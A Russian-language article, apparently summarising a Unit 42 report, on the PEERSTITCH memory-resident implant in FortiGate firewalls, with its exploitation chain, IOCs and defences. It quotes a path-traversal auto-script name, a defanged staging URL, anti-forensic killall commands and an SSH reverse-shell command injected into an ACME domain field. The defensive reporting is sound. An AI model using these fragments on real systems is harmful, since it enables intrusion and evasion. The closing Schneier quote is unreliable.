PEERSTITCH: новый невидимый вредонос атакует FortiGate через уязвимости FortiOS

Исследователи Unit 42 из Palo Alto Networks раскрыли детали сложной многоступенчатой атаки на телекоммуникационного провайдера, в ходе которой злоумышленники развернули PEERSTITCH — инновационный резидентный имплант для файрволов FortiGate. Вредоносное ПО работает исключительно в оперативной памяти, не оставляет файлов на диске, не открывает сетевых портов и не устанавливает исходящих соединений, что делает его практически невидимым для традиционных средств защиты. Атака, отслеживаемая как кластер CL-STA-0954 (также известный как UNC5820), началась в сентябре 2024 года и продемонстрировала высокий уровень технической подготовки злоумышленников в архитектуре Fortinet, внутренностях FortiOS и протоколах управления.

Ключевые факты: PEERSTITCH — ARM64 резидентный имплант; CVE-2024-47575 (FortiJump) для первоначального доступа; CVE-2025-61624 для повышения привилегий; 500+ файрволов скомпрометировано; группировка CL-STA-0954 (UNC5820); обход проверок VPN сессий; кража конфигураций, учетных данных и криптографических ключей; атака на телекоммуникационного провайдера.

🔓 Первоначальный доступ: эксплуатация CVE-2024-47575 (FortiJump)

Атака началась с эксплуатации критической уязвимости CVE-2024-47575, известной как FortiJump, которая позволяет неаутентифицированному удаленному злоумышленнику выполнять произвольные команды через специально сформированные запросы к каналу управления FMG-Access (TCP порт 541). Злоумышленники зарегистрировали поддельное виртуальное устройство FortiGate с именем localhost (серийный номер FMG-VMTM23017412) в центральном FortiManager, используя внешнюю инфраструктуру атакующих (45.32.41[.]202, позже измененную на 198.199.122[.]22).

Сразу после регистрации устройства злоумышленники сгенерировали архив конфигурации с именем .tm в файловой системе FortiManager и быстро эксфильтрировали его. Анализ этого артефакта выявил катастрофический объем украденной информации: серийный номер самого FortiManager и его управленческие отношения с каждым зарегистрированным устройством; полные конфигурационные файлы для более чем 500 управляемых файрволов FortiGate во внутренней инфраструктуре и клиентских сетях; центральные базы данных SQLite управления (global.db и revinfo.db); плоский текстовый инвентарь с более чем 500 серийными номерами FortiGate и их публичными IP-адресами; карты внутренней сетевой топологии, таблицы маршрутизации и конфигурации интерфейсов; зашифрованные административные, локальные и SSL/VPN учетные данные; закодированный криптографический материал доверия, включая публичные сертификаты и приватные ключи.

Тип украденных данных Описание Потенциальное использование
Конфигурации файрволов Полные рабочие конфигурации 500+ устройств Понимание сетевой архитектуры
Учетные данные Административные и VPN пароли Несанкционированный доступ
Криптографические ключи Приватные ключи и сертификаты Имитация легитимных устройств
Сетевая топология Карты сети и таблицы маршрутизации Планирование бокового перемещения
Серийные номера 500+ серийников FortiGate Имитация управления устройствами

Unit 42 подтвердила, что учетные данные были восстановимы — исследователи успешно подобрали административные и SSL/VPN пароли из эксфильтрированных конфигурационных файлов методом грубой силы. Используя легитимные учетные данные, злоумышленники установили несанкционированные SSL/VPN сессии FortiGate к периметровым файрволам с известной внешней промежуточной инфраструктуры (23.240.77[.]233 и 47.18.167[.]159). Эти сессии предоставили атакующим аутентифицированный доступ к внутренним сегментам управления сетью.

Критический момент: Один скомпрометированный appliance FortiManager предоставил злоумышленникам криптографические ключи, учетные данные и сетевую топологию для более чем 500 файрволов, включая устройства, защищающие клиентские организации. Компрометация платформы управления не ограничивается границей организации-владельца.

⚡ Повышение привилегий: CVE-2025-61624 и развертывание PEERSTITCH

После первоначального доступа злоумышленники эксплуатировали CVE-2025-61624 для эскалации привилегий от административного доступа FortiOS до root на базовой операционной системе файрвола. Уязвимость позволяет аутентифицированной административной учетной записи читать и записывать произвольные файлы как root через обход пути в движке system.auto-script командной строки FortiOS. Имя объекта auto-script не очищается, позволяя имени, содержащему последовательности обхода пути, размещать тело скрипта вне предполагаемой директории, в любом месте файловой системы.

Эксплойт способствовал развертыванию PEERSTITCH — нового резидентного вредоноса ARM64. PEERSTITCH представляет собой 64-битный исполняемый файл Linux ARM64, написанный на C и статически связанный с glibc. Он действует как одноразовый инъектор патчинга памяти процессов, нацеленный на два основных демона FortiOS: /bin/miglogd (центральный демон системного и трафикового логирования) и /bin/iked (демон службы IKE/IPsec VPN, обрабатывающий криптографические переговоры).

Этап атаки Технические детали Результат
Обход пути ../../../../setup в auto-script Загрузка загрузчика PEERSTITCH
Цепочка размещения Загрузка 5 файлов в /data2/template/ Подготовка к инъекции
Обнаружение процессов Поиск PID для miglogd и iked Идентификация целей
Инъекция в память Присоединение ptrace и выделение 16KB RWX Выделение памяти для полезной нагрузки
Инъекция полезной нагрузки Запись 1,344-байтной полезной нагрузки Инъекция вредоносного кода
Паразитирование процессов Патчинг путей выполнения Перенаправление легитимных процедур

Цепочка размещения загрузила пять файлов с hxxp[:]//23.240.77[.]233:8085/ в /data2/template/: pM.js (скрипт подготовки окружения, самоудаляющийся), a.js (сохранен как index.js, модуль времени выполнения JavaScript Emscripten), a.wasm (сохранен как index.wasm, скомпилированный бинарный модуль WebAssembly), b.js (сохранен как ipssem.js, скрипт оркестратора развертывания) и dd (сохранен как lldprx, нативный бинарный инъектор ELF ARM64 — ядро PEERSTITCH). После задержки выполнения ipssem.js запустил lldprx с аргументами lldprx!index.js!index.wasm!ipssem.js!lldprx!yyyy!pM.js.

Бинарник lldprx выполняет однократную последовательность выполнения: итерация через /proc/, парсинг /proc//cmdline и поиск PID для /bin/miglogd и /bin/iked; чтение /proc//maps для извлечения базовых адресов и границ памяти обоих целевых демонов; присоединение к обоим запущенным процессам используя ptrace(PTRACE_SEIZE, pid) и остановка выполнения через PTRACE_INTERRUPT; вызов ptrace(PTRACE_GETREGSET, pid) для снимка всех регистров общего назначения ARM64 (X0 через X30), указателя стека (SP) и программного счетчика (PC); динамическая генерация загрузочного заглушки ARM64, выполняющего системный вызов mmap (X8 = 0xDE), запрашивающего 0x4000 (16,384 байта) памяти PROT_READ | PROT_WRITE | PROT_EXEC (RWX), отображенной как MAP_PRIVATE | MAP_ANONYMOUS; запись 1,344-байтной инъекционной полезной нагрузки во вновь выделенный буфер RWX через /proc//mem.

👻 Уникальные характеристики PEERSTITCH: невидимость и обход защит

Вместо использования сетевых сокетов или файлов на диске, PEERSTITCH создает скрытый резидентный коммуникационный мост в памяти между /bin/miglogd и /bin/iked. Внутри обоих демонов код перехвата инспектирует данные, уже проходящие через процесс, без перенаправления пакетов. Он оценивает строковые шаблоны используя strstr() для двух специфических маркеров: маркер TCP порта 8550 (встроенный в данные трафика, не слушающий порт) и маркер IP адреса 169.254.0.1 (link-local идентификатор, используемый для сопоставления шаблонов).

Когда маркер идентифицирован, перехват извлекает связанный токен сессии или идентификатор (до 31 байта) и записывает его в 16-слотовый кольцевой буфер по смещению +0x0F0. Затем перехват итерирует через свою таблицу пересылки по смещению +0x400 (заполненную PID контрагентного демона и базовым адресом буфера). Он вызывает open(), lseek() и write() на /proc//mem, записывая извлеченный тег напрямую в память другого демона. Когда /bin/iked обрабатывает последующие VPN сессии, его перехват инспектирует свой инъекционный буфер. Если соответствующий тег существует, перехват принимает альтернативную ветку возврата (путь возврата ADRP), обходя стандартные проверки безопасности FortiOS.

Ключевая инновация: PEERSTITCH не оставляет постоянных бинарников на диске, не открывает слушающих портов и не инициирует исходящих сетевых соединений. Вместо этого он коммуницирует через трафик, генерируемый легитимными процессами на зараженном хосте, что делает вредонос устойчивым к обычному обнаружению на конечных точках и в сети.

Для подавления обнаружения вмешательств и изменения стандартных процедур демонов, PEERSTITCH применяет прямые патчи NOP (0xAA0003E0, соответствующие MOV X0, X0 на ARM64) к трем статическим смещениям в памяти целевого процесса: base + 0x106F7B8, base + 0x1072E20 и base + 0x109A570. 20-байтный трамплинный патч записывается в base + 0x135102C для перенаправления стандартного выполнения в выделенный буфер перехвата RWX.

Наряду с PEERSTITCH, злоумышленники установили канал управления и контроля, вооружив нативный модуль Apache mod_md (Managing Domains) на файрволах FortiGate. Этот модуль использует протокол Automated Certificate Management Environment (ACME). Злоумышленники отправили объект auto-script для создания ../../tmp/apache2/conf/md-acme.conf. Файл состояния account.json демонстрирует начальную регистрацию с ACME сервером атакующих, явно маршрутизируя запросы директории ACME к внешней инфраструктуре. Файл order.json описывает ожидающий заказ сертификата, отображая URL авторизации и финализации напрямую на сервер атакующих.

MDChallengeDns01 был отображен напрямую на /bin/node. Когда Apache инициирует проверку валидации сертификата, он выполняет Node.js с параметрами, полученными из удаленного ACME сервера. Отладочный лог job.json показывает, как злоумышленники эксплуатировали это, внедряя команды оболочки ([email protected][.]233:8084:b -F /tmp/upfile/ssh_config -i) напрямую в поле имени домена запроса вызова, инициируя обратную оболочку на базе SSH. Установка MDRenewMode всегда заставляла демон Apache непрерывно запускать эти вредоносные вызовы обновления. Поскольку вызов DNS-01 был отображен на /bin/node, этот цикл опроса обеспечивал непрерывное повторное выполнение внедренной полезной нагрузки, устанавливая постоянный исходящий канал коммуникации обратной оболочки.

Характеристика PEERSTITCH Описание Преимущество для атакующих
Резидентный в памяти Работает только в ОЗУ Не обнаруживается файловыми сканерами
Нет постоянных файлов Удаляет себя после инъекции Нет артефактов на диске
Нет слушающих портов Не открывает сетевых портов Невидим для сканеров портов
Нет исходящих соединений Использует легитимный трафик Обходит сетевой мониторинг
Паразитирование процессов Инъецируется в miglogd и iked Маскируется под легитимные процессы
Скрытый IPC Межпроцессное разделение памяти Скрытая коммуникация между демонами
Обход VPN сессий Обходит проверки через сопоставление тегов Несанкционированный доступ через VPN

🛡️ Меры защиты и обнаружения PEERSTITCH

Поскольку PEERSTITCH работает исключительно в памяти без создания постоянных файлов или слушающих портов, обнаружение требует специализированных техник поиска. Защитники должны инспектировать карты памяти (/proc//maps) для /bin/miglogd и /bin/iked на наличие анонимных 16,384-байтных регионов с разрешениями rwxp. Необходимо проверять целостность текстового сегмента по адресам base+0x106F7B8, base+0x1072E20 и base+0x109A570 на наличие 0xAA0003E0 (MOV X0, X0). Следует аудировать телеметрию системных вызовов ядра для операций open() и write(), нацеленных на /proc//mem между miglogd и iked.

Важно запрашивать diagnose debug crashlog read для крахов Signal 11 (Segmentation Fault), вовлекающих miglogd, iked или syslogd. Необходимо инспектировать ревизии конфигурации FortiOS для объектов system.auto-script, содержащих строки обхода пути (../../). Злоумышленники принимали обширные меры для устранения криминалистических артефактов: выполняли killall -9 miglogd и killall -9 syslogd для остановки генерации локального и удаленного syslog перед выполнением вредоносных auto-scripts; выдавали диагностическую команду FortiOS diagnose debugcrashlog clear для очистки логов segmentation fault, сгенерированных во время начальных попыток инъекции в память; автоматически удаляли поддельные административные учетные записи, поддельные VPN группы и объекты auto-script (../../../../setup) вскоре после выполнения.

Индикаторы компрометации: SHA-256 b9fb0b27ddd59b58d3ae53c7227298a3e0de1e6f868b9429ae21533bb9cd1e70 (основной инъектор ptrace PEERSTITCH); IP адреса 23.240.77[.]233 и 47.18.167[.]159 (хостинг установщика); объекты auto-script с обходом пути с ../../ в именах; анонимные 16KB регионы памяти RWX в процессах miglogd и iked; необъяснимые прерывания логирования на интерфейсе управления туннелем.

Fortinet указала FortiOS 7.4.10 и 7.6.5 как исправленные версии для CVE-2025-61624. Однако критически важно понимать, что скомпрометированные учетные данные управления, сертификаты и ключи требуют ротации; простое исправление не аннулирует украденное доверие. Криптографический материал доверия, управляющий отношениями платформы с каждым управляемым устройством, уходит с атакующим и остается действительным до тех пор, пока не будет ротирован. Защитники должны относиться к интерфейсам управления периферийными устройствами с высочайшим уровнем изоляции нулевого доверия. Они также должны относиться к учетным данным и сертификатам, которые эти интерфейсы содержат, как к скомпрометированным в момент, когда платформа скомпрометирована.

Мера защиты Описание Приоритет
Немедленное исправление Установить FortiOS 7.4.10+ или 7.6.5+ Критический
Ротация учетных данных Сменить все административные и VPN пароли Критический
Отзыв сертификатов Отозвать все криптографические сертификаты Критический
Инспекция памяти Проверить miglogd и iked на регионы RWX Высокий
Аудит конфигурации Искать auto-script с обходом пути Высокий
Сетевой мониторинг Мониторить трафик TCP порта 541 Высокий
Анализ логов Анализировать crash логи и пробелы syslog Средний
Изоляция нулевого доверия Изолировать интерфейсы управления Стратегический

Для организаций, которые управляют инфраструктурой от имени других, платформа управления является целью наивысшей ценности в сети. Это вторжение подчеркивает растущую угрозу вооружения централизованных экосистем управления периферийными устройствами для компрометации нижестоящих сетей. Обнаружение импланта PEERSTITCH демонстрирует растущую техническую зрелость вредоносного ПО для периферийных устройств. Работая как одноразовый инъектор, избегая постоянных артефактов на диске и строя скрытый межпроцессный коммуникационный мост внутри памяти процесса, злоумышленники достигли устойчивого присутствия, избегая традиционного мониторинга.

Клиенты Palo Alto Networks лучше защищены от этой активности через следующие продукты и сервисы: Advanced WildFire (модели машинного обучения и техники анализа пересмотрены и обновлены в свете индикаторов, опубликованных в этом исследовании); Advanced URL Filtering, Advanced DNS Security и Advanced IP Defense (разработаны для идентификации известных доменов и URL, связанных с этой активностью, как вредоносных); Next-Generation Firewall с подпиской безопасности Advanced Threat Prevention (может помочь заблокировать CVE-2024-47575 с лучшими практиками через сигнатуры Threat Prevention 95788, 96788); Cortex Xpanse (разработан для идентификации暴露 устройств и приложений в публичном интернете и эскалации этих находок защитникам); Device Security (разработан для проактивной защиты специализированной поверхности атаки устройств операционных сред, обеспечивая глубокую видимость в промышленных протоколах, действенные инсайты рисков и адаптивное применение безопасности для всех активов OT и IoT).

Эта атака подчеркивает фундаментальную проблему безопасности современных периферийных устройств: даже после исправления уязвимостей, скомпрометированные учетные данные и криптографический материал остаются действительными. Организации должны внедрить комплексный план реагирования на инциденты, включающий не только исправление, но и полную ротацию всего материала доверия после любого подозрения на компрометацию платформы управления. В мире, где один скомпрометированный appliance может expose конфигурации и ключи для сотен нижестоящих устройств, проактивная защита и архитектура нулевого доверия становятся не просто лучшими практиками, а абсолютной необходимостью для выживания в современном ландшафте угроз.

«Безопасность — это не продукт, а процесс. В случае с PEERSTITCH мы видим, что даже после исправления уязвимостей, атакующие сохраняют доступ через украденные учетные данные. Настоящая защита требует целостного подхода: исправление, ротация учетных данных, непрерывный мониторинг и архитектура нулевого доверия».

— Брюс Шнайер, эксперт по криптографии и безопасности

17.10.2026, 01:20